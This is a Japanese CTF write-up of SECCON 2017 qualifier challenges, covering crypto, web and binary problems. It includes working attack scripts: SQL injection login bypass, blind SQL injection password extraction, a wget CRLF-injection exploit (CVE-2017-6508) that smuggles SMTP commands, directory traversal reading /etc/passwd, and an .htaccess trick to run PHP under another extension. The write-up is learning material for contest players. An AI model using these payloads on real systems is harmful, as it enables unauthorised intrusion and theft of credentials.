SECCON 2017 オンライン予選に Team: wight のメンバーとして参加した。
結果としては 2,500pt で全体57位、国内13位と今まで参加した中では最高記録!
その中で自分が解いた問題は次の通り。
- SHA-1 is dead (Crypto 100)
- SqlSRF (Web 400)
- Log search (Web 100)
- Ps and Qs (Crypto 200)
- JPEG file (Binary 100)
- Simon and Speck Block Ciphers (Crypto 100)
- automatic door (Web 500)
- Thank you for playing! (Thank you! 100)
SHA-1 is dead (Crypto 100)
次の条件を満たす2つのファイルをアップロードすると FLAG がもらえる
- 2つのファイルの中身が異なる
- sha1チェックサムが同じ
- ファイルサイズは 2017KiB以上、2018Kib未満
これは、少し前に話題になった SHAttered というもの。 中身が異なるのに同じ sha1 となるファイルが作り出せてしまうというやつ。
解き方
- sha1が衝突する2ファイルを用意する
- 各ファイルの末尾に 同じ数の 0x00 バイトを付け足して 2017KiB ~ 2018KiB のサイズにする
衝突するファイルの用意だが、すでに SHAttered のページや他いろいろなところでサンプルのファイルが上がっているので、そのまま流用できる。
また、衝突する2ファイルを作ってくれるツールも存在する
- GitHub - nneonneo/sha1collider: Build two PDFs that have different content but identical SHA1 sums.
- GitHub - 73spica/sha1-collision: Googleが発表したSHA-1衝突の原理で衝突PDFを生成するスクリプト
ので、仕組みを知らなくても解けちゃう。
ファイルが用意できたら、あとは 0x00 でサイズが合うように埋める。同じデータを末尾につけても、2ファイルの sha1 は同じままなので。
import os files = [ '01.pdf', '02.pdf', ] for f in files: pad_size = 2065409 - os.path.getsize(f) with open(f, 'ab') as s: s.write(b'\x00' * pad_size)
SqlSRF (Web 400)
このサーバーの root に対して "give me flag" というタイトルのメールを送信したら、FLAG がもらえる
- ログイン画面があるWebサイト
- ログイン部分の処理のソースコードが与えられている
- admin でログインすると、内部で
wget
コマンドが使える
とりあえずログインする (1)
- ログイン部分のソースコードを見ると SQL インジェクション攻撃が可能とわかる
- パスワード入力欄の値を
&encrypt
した結果と比較して同じであれば、ログイン成功
&encrypt
, &decrypt
関数について
与えられたソースコードでは、この2つの実装を読むことはできない。
しかし、ユーザーID入力欄の値が &encrypt
された結果は remember
という Cookie に格納されているため、特定の文字列を &encrypt
した結果はすぐに得ることができる。
さらに、[ ] Remember me
のチェックを入れると remember
Cookie の値を &decrypt
した結果がユーザーIDの入力欄に入るので、復号化も可能である。
パスワードを admin
とすると、
encrypt("admin") == "58474452dda5c2bdc1f6869ace2ae9e3"
という結果が上のことからわかる。よって、次のような SQL を組み立てるとログイン成功する。
SELECT * FROM users WHERE username = '' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3';
username の条件は無視して、UNION
で if 文に合うものを無理やり取ってくる SQL である。
これを SQL インジェクション攻撃の形式にするので、ログイン画面で次のように入力する。
- username:
' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3';--
- password:
admin
するとログイン成功し、新しい画面が出てくる。 この画面では netstat と wget コマンドを実行できるみたいだが、wget の方は admin ユーザーとしてログインしないと使えない。
netstat の結果はこの通り。
Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN
見ると 127.0.0.1:25 だけマシン内部からしかアクセスできない LISTEN となっているので、ここがヒントになってそうって思った。
admin ユーザーのパスワードを割り出す
とりあえずログインしたが、wget を実行するためにはちゃんとした admin ユーザーとしてログインする必要がある。 SQLインジェクションを使って admin のパスワードをすぐに取れたら良いのだが、SQL の実行結果を print している箇所がないので、すぐにはできない。
そこで、ブラインドSQLインジェクション を試してみる。
- SQLite の
length
関数で admin パスワードの長さを割り出す - SQLite の
substr
関数で長さ分のパスワードを二分探索で割り出す - 得られたパスワードは
&encrypt
されてるので、これを復号化する
# -*- coding: utf-8 -*- import sys import requests URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?" def check_strlen(i): params = { "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND length(password) = {};--".format(i), "pass": "admin", "login": "login", } res = requests.post(URL, data=params).text return "Error!" not in res def check(i, cond): params = { "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND substr(password, {0}, 1) {1};--".format(i + 1, cond), "pass": "admin", "login": "login", } res = requests.post(URL, data=params).text return "Error!" not in res def search_char(i, chars): # 二分探索 lo = 0 hi = len(chars) while lo < hi - 1: mid = (lo + hi) // 2 mid_char = chr(chars[mid]) if check(i, "< '{}'".format(mid_char)): hi = mid else: lo = mid return chr(chars[lo]) def crange(start_char, end_char): return range(ord(start_char), ord(end_char) + 1) def search(i): chars = None if check(i, "<= '9'"): chars = crange('0', '9') elif check(i, "<= 'z'"): chars = crange('a', 'z') else: raise RuntimeError("flag char is out of range...") return search_char(i, chars) if __name__ == '__main__': password_length = 0 for i in range(1, 50): if check_strlen(i): password_length = i break print("password length: {}".format(password_length)) sys.stdout.write("encrypt password: ") sys.stdout.flush() for i in range(password_length): sys.stdout.write(search(i)) sys.stdout.flush() print() print("done.")
このスクリプトを実行すると、次の結果が得られる。
password length: 32 encrypt password: d2f37e101c0e76bcc90b5634a5510f64 done.
これを &decrypt
すると
Yes!Kusomon!!
となる。
username: admin
password: Yes!Kusomon!!
でログインすると、無効化されていた wget ボタンが使えるようになっている。
netstat の結果で怪しかった 127.0.0.1:25
に早速送ってみると、SMTP サーバーと思われるレスポンスがきた。
Setting --output-document (outputdocument) to /dev/stdout DEBUG output created by Wget 1.14 on linux-gnu. URI encoding = 'ANSI_X3.4-1968' Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968) --2017-12-09 20:48:32-- http://127.0.0.1:25/ Connecting to 127.0.0.1:25... connected. Created socket 4. Releasing 0x0000000001e53c20 (new refcount 0). Deleting unused 0x0000000001e53c20. ---request begin--- GET / HTTP/1.1 User-Agent: Wget/1.14 (linux-gnu) Accept: */* Host: 127.0.0.1:25 Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- ---response end--- 200 No headers, assuming HTTP/0.9 Registered socket 4 for persistent reuse. Length: unspecified Saving to: '/dev/stdout' 220 ymzk01.pwn ESMTP patched-Postfix 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 500 5.5.2 Error: bad syntax
wget は HTTP リクエストを飛ばすものなので、SMTP コマンドとしてはおかしいって普通に怒られる。 しかし問題文が「メールを送信しろ」なので、なんとかしてこの SMTP サーバーに命令を送らなければならない。
そこで、wget の脆弱性などで他のコマンドが挿入できるようなものがないか調べた。
GNU Wget: Header injection (GLSA 201706-16) — Gentoo Security
wget header injection
で調べると、CVE-2017-6508 がヒットした。
↓のサイトに簡単な再現方法も載っていたので、すぐに試せた。
[Bug-wget] Vulnerability Report - CRLF Injection in Wget Host Part
これで任意の SMTP コマンド遅れるようになったので、root に対して 自分のメールアドレスから "give me flag" というタイトルのメールを送信すればOK
import requests from pyquery import PyQuery as pq import html URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/menu.cgi?" MY_EMAIL_ADDRESS = "<input here your address>" commands = [ "EHLO 127.0.0.1", "MAIL FROM: " + MY_EMAIL_ADDRESS, "RCPT TO: root", "DATA", "From: test@test.com", "To: " + MY_EMAIL_ADDRESS, "Subject: give me flag", "Hello", ".", "QUIT", ] data = { 'cmd': "wget --debug -O /dev/stdout 'http://", 'args': "127.0.0.1%0d%0a{}%0a:25/".format("%0a".join(commands).replace(":", "%3a").replace("@", "%40")) } data2 = { "cmd": "netstat -tnl", "args": "--help" } headers = { "Cookie": "remember=d2f37e101c0e76bcc90b5634a5510f64; CGISESSID=beb1229d5c77b445e59b9c2622f20d86", } res = requests.post(URL, data=data, headers=headers).text d = html.unescape(pq(res).find('pre').text()) if d != '': print(d) else: print(res)
実行すると次のようなメールが来て、&encrypt
された FLAG が書いてあるので復号化したらクリア。
SECCON{SSRFisMyFriend!}
Log search (Web 100)
elastic search を使ってアクセスログを検索できるwebアプリがある。 他の CTF 参加者のも含めたアクセスログが更新する度に次々と表示される。
その中に GET /flag-xxxxxxxxxxx.txt
といったアクセスがいくつか見つかった。FLAGが書いたファイルへのアクセスっぽいが、基本的に response 404 だったので実在はしない。
そこで、このページを監視して、response 200 かつ flag
を含む URL が見つかったら出力するスクリプトを書いた…
書いた…けど、スクリプトの動作確認をしようとしているときに偶然 response 200 を見つけてしまって、あっさり FLAG を取得できてしまった。
import requests import time from pyquery import PyQuery as pq URL = "http://logsearch.pwn.seccon.jp/logsearch.php" res = requests.post(URL, data={'query': 'flag'}).text d = pq(res).find('table').eq(1) for tr in [pq(e) for e in d.find('tr')]: tds = tr.find('td') path = tds.eq(2).text() status_code = tds.eq(3).text() if status_code == '200': print("{}\t{}".format(status_code, path))
多分、本来想定されている解き方ではなさそう。
Ps and Qs (Crypto 200)
- RSA暗号の問題
- 2つの公開鍵と暗号文が与えられる
- 暗号文を解読したらクリア
RSA暗号の数学的な知識はまったくないけど、RSAへの攻撃は既に便利なツールがあり、今回は RsaCtfTool というものを使った。
ここの README を読むと、まさにこの問題に当てはまりそうなものがあったので、そのまま利用。
Attempt to break multiple public keys with common factor attacks or individually - use quotes around wildcards to stop bash expansion ./RsaCtfTool.py --publickey "*.pub" --private
$ ./RsaCtfTool.py --publickey "*.pub" --private
すると2つの秘密鍵が得られるので、あとは復号化すればOK.
SECCON{1234567890ABCDEF}
JPEG file (Binary 100)
1bitだけ破損した JPEG 画像を復元する問題
JPEG ヘッダを解析できるツールにかけてみると、ヘッダーの途中で明らかにエラーとなっていた。
SOS ヘッダ という部分の下でエラーが出ていたので調べてみると
http://hp.vector.co.jp/authors/VA032610/JPEGFormat/marker/SOS.htm
SOSはイメージデータの先頭に記録され、直後にイメージデータが続く事を表しています。
と書いてある。にも関わらず直後にはイメージデータではなく、ヘッダを表す 0xFF
が続いていたのでここでエラーになっているようだった。
なので、FF
を FE
などにずらしてみたら、ちょっと荒れている感じだが復元できた。
Simon and Speck Block Ciphers (Crypto 100)
Simon and Speck Block Cipher という暗号があるらしい。 とりあえず Google 検索したら、暗号化/ 復号化できる python のソースコードがすぐに見つかった。
GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers
キーは SECCON{xxxx}
で xxxx の部分は不明だが、4ケタぐらいなら総当りでいけそうな感じだったので総当りプログラムを書いた。
from simon import SimonCipher import itertools import binascii seq = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;?@[\\]^_`| ' for c in itertools.permutations(seq, 4): key_bytes = b'SECCON{' + bytes(c) + b'}' key_int = int(binascii.hexlify(key_bytes), 16) plaintxt = 0x6d564d37426e6e71 ciphertxt = 0xbb5d12ba422834b5 block_size = 64 key_size = 96 c = SimonCipher(key_int, key_size, block_size, 'ECB') if c.encrypt(plaintxt) == ciphertxt: print("----detected!!!") print(key_bytes) print("----------------") break print("end.")
automatic door (Web 500)
サーバー上にある実行ファイル /flag_x
を実行すると FLAG がもらえる
- ファイルをアップロードできるwebアプリ
- アップロードしたファイルを表示する機能もある
- メイン部分の処理はソースコードが与えられている
ソースコードを読むと、表示する処理 (read) は ファイルパスに ..
を含んでいても大丈夫だったので、ディレクトリトラバーサル が成立する。
とりあえずアップロードと表示をスクリプトから可能にする
試しにサーバーの /etc/passwd
を表示する処理を書いた
import requests URL = "http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95" def write(filename, file_content): action = "write" files = { "file": file_content, } res = requests.post(URL + "/?action={}&filename={}".format(action, filename), files=files).text print(res) def read(filename): action = "read" res = requests.get(URL + "/?action={}&filename={}".format(action, filename)).text print(res) path = "/etc/passwd" read("../../../../../.." + path)
サーバー上でプログラムを実行可能にする
これでサーバー上の様々なファイルを見ることはできたが、最終的に /flag_x
を実行しないといけないので、何らかの方法で外部から差し込んだプログラムを実行させる必要がある。
アプリ自体は php で動いているので、php ファイルをアップロードして、実行できたらよさそう。
しかし、ソースコードを読むと名前に ph
を含むファイルはアップロードできない。
なので、.htaccess
をアップロードして拡張子が .php
以外でも php として実行可能にする。
<FilesMatch "\.test$"> SetHandler application/x-httpd-php </FilesMatch>
これを .htaccess
としてアップロードして、そのあと 拡張子 .test
で php ファイルをアップロードする。
あとは /flag_x
を実行するだけであるが、次のように system()
, exec()
といったプロセス実行系の関数は使用できなくなっていた。
自分はここで一旦あきらめて、「何か他の関数あるのかな・・」って探したり、「どこかのファイルにヒントがあるかも」と思って、簡易ファイルビューアーを作った。
そのあと、チームメンバーが「なんか /tmp
に FLAG そのまま入ったファイルがあった…」と報告してくれて、あっさりとクリア。
おそらく、他チームが結果を /tmp
に出しただけだと思うけど、拍子抜けだった。
SECCON{f6c085facd0897b47f5f1d7687030ae7}
終わってから他の write-up 見たら、proc_open()
関数だけは禁止されてなかったのでこれを使えばよかったらしい。
Thank you for playing! (Thank you! 100)
これはただのボーナス問題。そのまま答えが書いてあるので、入れるだけ。
SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}